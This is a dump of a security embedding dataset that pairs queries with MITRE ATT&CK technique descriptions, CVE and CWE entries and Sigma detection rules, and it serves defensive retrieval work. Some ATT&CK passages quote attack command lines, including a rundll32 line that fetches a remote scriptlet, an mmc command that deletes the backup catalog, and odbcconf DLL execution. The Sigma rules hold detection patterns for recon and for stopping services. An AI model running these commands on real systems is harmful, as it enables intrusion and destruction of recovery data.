alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: explain T1558.003 Kerberoasting
Matching passage: T1558.003 Kerberoasting. Tactics: credential access. Description: Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)
Near-miss passage: T1558.002 Silver Ticket. Tactics: credential access. Description: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
Query: secure coding against Unsafe ActiveX Control Marked Safe For Scripting
Matching passage: CWE-623 Unsafe ActiveX Control Marked Safe For Scripting. An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.
Near-miss passage: CWE-56 Path Equivalence: 'filedir*' (Wildcard). The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
Query: SOC alert related to Selective Exclusion
Matching passage: T1679 Selective Exclusion. Tactics: stealth. Description: Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024) Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.
Near-miss passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Query: patch priority for CVE-2015-7785
Matching passage: CVE-2015-7785. CWE: CWE-295. CVSS: 5.900000095367432. GANMA! App for iOS does not verify SSL certificates.
Near-miss passage: CVE-2015-8960. CWE: CWE-295. CVSS: 8.100000381469727. The TLS protocol 1.2 and earlier supports the rsa_fixed_dh, dss_fixed_dh, rsa_fixed_ecdh, and ecdsa_fixed_ecdh values for ClientCertificateType but does not directly document the ability to compute the master secret in certain situations with a client secret key and server public key but not a server secret key, which makes it easier for man-in-the-middle attackers to spoof TLS servers by leveraging knowledge of the secret key for an arbitrary installed client X.509 certificate, aka the "Key Compromise Impersonation (KCI)" issue.
Query: patch priority for CVE-2015-0211
Matching passage: CVE-2015-0211. CWE: CWE-200. CVSS: 4.0. mod/lti/ajax.php in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 does not consider the moodle/course:manageactivities and mod/lti:addinstance capabilities before proceeding with registered-tool list searches, which allows remote authenticated users to obtain sensitive information via requests to the LTI Ajax service.
Near-miss passage: CVE-2015-7447. CWE: CWE-200. CVSS: 5.300000190734863. IBM WebSphere Portal 6.1.0 through 6.1.0.6 CF27, 6.1.5 through 6.1.5.3 CF27, 7.0.0 through 7.0.0.2 CF29, 8.0.0 before 8.0.0.1 CF20, and 8.5.0 before CF09 allows remote attackers to bypass intended Portal AccessControl REST API access restrictions and obtain sensitive information via unspecified vectors.
Query: vulnerability: Cross-site request forgery (CSRF) vulnerability in IBM Emptoris Contract Management 9.5.0.x before 9.5.0.6 iFix15, 10.0.0.x and 10.0.1.x before 10.0.1.5 iFix5, 10.0.2.x before 10.0
Matching passage: CVE-2015-5050. CWE: CWE-352. CVSS: 8.800000190734863. Cross-site request forgery (CSRF) vulnerability in IBM Emptoris Contract Management 9.5.0.x before 9.5.0.6 iFix15, 10.0.0.x and 10.0.1.x before 10.0.1.5 iFix5, 10.0.2.x before 10.0.2.7 iFix4, and 10.0.4.x before 10.0.4.0 iFix3 allows remote authenticated users to hijack the authentication of arbitrary users for requests that insert XSS sequences.
Near-miss passage: CVE-2015-10001. CWE: CWE-352. CVSS: 4.300000190734863. The WP-Stats WordPress plugin before 2.52 does not have CSRF check when saving its settings, and did not escape some of them when outputting them, allowing attacker to make logged in high privilege users change them and set Cross-Site Scripting payloads
Query: patch priority for CVE-2015-8012
Matching passage: CVE-2015-8012. CWE: CWE-617. CVSS: 7.5. lldpd before 0.8.0 allows remote attackers to cause a denial of service (assertion failure and daemon crash) via a malformed packet.
Near-miss passage: CVE-2015-8745. CWE: CWE-617. CVSS: 5.5. QEMU (aka Quick Emulator) built with a VMWARE VMXNET3 paravirtual NIC emulator support is vulnerable to crash issue. It could occur while reading Interrupt Mask Registers (IMR). A privileged (CAP_SYS_RAWIO) guest user could use this flaw to crash the QEMU process instance resulting in DoS.
Query: describe CVE-2015-5371
Matching passage: CVE-2015-5371. CWE: UNKNOWN. CVSS: 10.0. The AuthenticationFilter class in SolarWinds Storage Manager allows remote attackers to upload and execute arbitrary scripts via unspecified vectors.
Near-miss passage: CVE-2015-3054. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on Windows and OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3053, CVE-2015-3055, CVE-2015-3059, and CVE-2015-3075.
Query: alert when Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services on Linux syste
Matching passage: Sigma rule: Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services on Linux syste. Logsource: linux / process_creation. Rule: title: Disable Or Stop Services id: de25eeb8-3655-4643-ac3a-b662d3f26b6b status: test description: 'Detects the usage of utilities such as ''systemctl'', ''service''...etc to stop or disable tools and services on Linux systems. Attackers may stop or disable security tools and services to evade detection, maintain persistence, or disrupt system operations. ' references: - https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-15 modified: 2025-03-18 tags: - attack.defense-impairment - attack.t1685 - attack.impact - attack.t1489 logsource: category: process_creation product: linux detection: selection: Image|endswith: - /service - /systemctl - /chkconfig CommandLine|contains: - ' stop ' - ' disable ' filter_main_legit_snapd: Image|endswith: /systemctl CommandLine|contains: - --no-reload disable snap-snapd- - ' stop snap-snapd-' filter_main_ssh_preinstall: Image|endswith: /systemctl ParentCommandLine|contains: tmp.ci/preinst upgrade CommandLine|contains|all: - ' stop ' - ssh. filter_main_ubuntu_upgrade: ParentCommandLine|contains: /dpkg/info/ubuntu-pro-client.prerm upgrade Image|endswith: /systemctl filter_optional_aws_agent: Image|endswith: /systemctl CommandLine|endswith: snap.amazon-ssm-agent.amazon-ssm-agent.service condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Legitimate administration activities - Some false positives are to be expected. Apply additional filters as needed before pushing to production. level: medium
Near-miss passage: Sigma rule: Detects when an account was created and deleted in a short period of time.. Logsource: azure / auditlogs. Rule: title: Account Created And Deleted Within A Close Time Frame id: 6f583da0-3a90-4566-a4ed-83c09fe18bbf status: test description: Detects when an account was created and deleted in a short period of time. references: - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#short-lived-accounts author: Mark Morowczynski '@markmorow', MikeDuddington, '@dudders1', Tim Shelton date: 2022-08-11 modified: 2022-08-18 tags: - attack.privilege-escalation - attack.persistence - attack.initial-access - attack.stealth - attack.t1078 logsource: product: azure service: auditlogs detection: selection: properties.message: - Add user - Delete user Status: Success condition: selection falsepositives: - Legit administrative action level: high
Query: alert when Monitor and alert for changes to the device registration policy.
Matching passage: Sigma rule: Monitor and alert for changes to the device registration policy.. Logsource: azure / auditlogs. Rule: title: Changes to Device Registration Policy id: 9494bff8-959f-4440-bbce-fb87a208d517 status: test description: Monitor and alert for changes to the device registration policy. references: - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy author: Michael Epping, '@mepples21' date: 2022-06-28 tags: - attack.privilege-escalation - attack.defense-impairment - attack.t1484 logsource: product: azure service: auditlogs detection: selection: Category: Policy ActivityDisplayName: Set device registration policies condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects logon events that specify new credentials. Logsource: windows / security. Rule: title: Outgoing Logon with New Credentials id: def8b624-e08f-4ae1-8612-1ba21190da6b status: test description: Detects logon events that specify new credentials references: - https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf author: Max Altgelt (Nextron Systems) date: 2022-04-06 tags: - attack.lateral-movement - attack.t1550 logsource: product: windows service: security detection: selection: EventID: 4624 LogonType: 9 condition: selection falsepositives: - Legitimate remote administration activity level: low
Query: ATT&CK technique for MMC
Matching passage: T1218.014 MMC. Tactics: stealth. Description: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview) For example, <code>mmc C:\Users\foo\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. Adversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\path\to\test.msc</code>.(Citation: abusing_com_reg)
Near-miss passage: T1218.008 Odbcconf. Tactics: stealth. Description: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Query: detection rule: Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on
Matching passage: Sigma rule: Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on. Logsource: windows / process_creation. Rule: title: Recon Command Output Piped To Findstr.EXE id: ccb5742c-c248-4982-8c5c-5571b9275ad3 related: - id: fe63010f-8823-4864-a96b-a7b4a0f7b929 type: derived status: test description: 'Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1057/T1057.md#atomic-test-6---discover-specific-process---tasklist - https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf - https://www.trendmicro.com/en_us/research/22/d/spring4shell-exploited-to-deploy-cryptocurrency-miners.html author: Nasreddine Bencherchali (Nextron Systems), frack113 date: 2023-07-06 modified: 2025-10-08 tags: - attack.discovery - attack.t1057 logsource: category: process_creation product: windows detection: selection: CommandLine|contains: - ipconfig*|*find - net*|*find - netstat*|*find - ping*|*find - systeminfo*|*find - tasklist*|*find - whoami*|*find filter_optional_xampp: CommandLine|contains|all: - cmd.exe /c TASKLIST /V | - FIND /I - \xampp\ - \catalina_start.bat condition: selection and not 1 of filter_optional_* falsepositives: - Unknown level: medium regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output/info.yml
Near-miss passage: Sigma rule: Detects blocking of process creations originating from PSExec and WMI commands. Logsource: windows / windefend. Rule: title: PSExec and WMI Process Creations Block id: 97b9ce1e-c5ab-11ea-87d0-0242ac130003 status: test description: Detects blocking of process creations originating from PSExec and WMI commands references: - https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-process-creations-originating-from-psexec-and-wmi-commands - https://twitter.com/duff22b/status/1280166329660497920 author: Bhabesh Raj date: 2020-07-14 modified: 2022-12-25 tags: - attack.execution - attack.lateral-movement - attack.t1047 - attack.t1569.002 logsource: product: windows service: windefend definition: 'Requirements:Enabled Block process creations originating from PSExec and WMI commands from Attack Surface Reduction (GUID: d1e49aac-8f56-4280-b9ba-993a6d77406c)' detection: selection: EventID: 1121 ProcessName|endswith: - \wmiprvse.exe - \psexesvc.exe condition: selection falsepositives: - Unknown level: high
Query: describe CVE-2015-9439
Matching passage: CVE-2015-9439. CWE: CWE-79. CVSS: 4.800000190734863. The addthis plugin before 5.0.13 for WordPress has CSRF with resultant XSS via the wp-admin/options-general.php?page=addthis_social_widget pubid parameter.
Near-miss passage: CVE-2015-4337. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the XCloner plugin 3.1.2 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the excl_manual parameter in the xcloner_show page to wpadmin/plugins.php.
Query: write Sigma for Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendo
Matching passage: Sigma rule: Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendo. Logsource: windows / process_creation. Rule: title: Hardware Model Reconnaissance Via Wmic.EXE id: 3e3ceccd-6c06-48b8-b5ff-ab1d25db8c1d status: test description: Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information references: - https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/ - https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks author: Florian Roth (Nextron Systems) date: 2023-02-14 tags: - attack.execution - attack.t1047 - car.2016-03-002 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \wmic.exe - OriginalFileName: wmic.exe selection_cli: CommandLine|contains: csproduct condition: all of selection_* falsepositives: - Unknown level: medium regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_recon_csproduct/info.yml
Near-miss passage: Sigma rule: Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can con. Logsource: windows / process_creation. Rule: title: Setup16.EXE Execution With Custom .Lst File id: 99c8be4f-3087-4f9f-9c24-8c7e257b442e status: test description: 'Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility. ' references: - https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/ author: frack113 date: 2024-12-01 tags: - attack.privilege-escalation - attack.persistence - attack.execution - attack.stealth - attack.t1574.005 logsource: category: process_creation product: windows detection: selection: ParentImage: C:\Windows\SysWOW64\setup16.exe ParentCommandLine|contains: ' -m ' filter_optional_valid_path: Image|startswith: C:\~MSSETUP.T\ condition: selection and not 1 of filter_optional_* falsepositives: - On modern Windows system, the "Setup16" utility is practically never used, hence false positive should be very rare. level: medium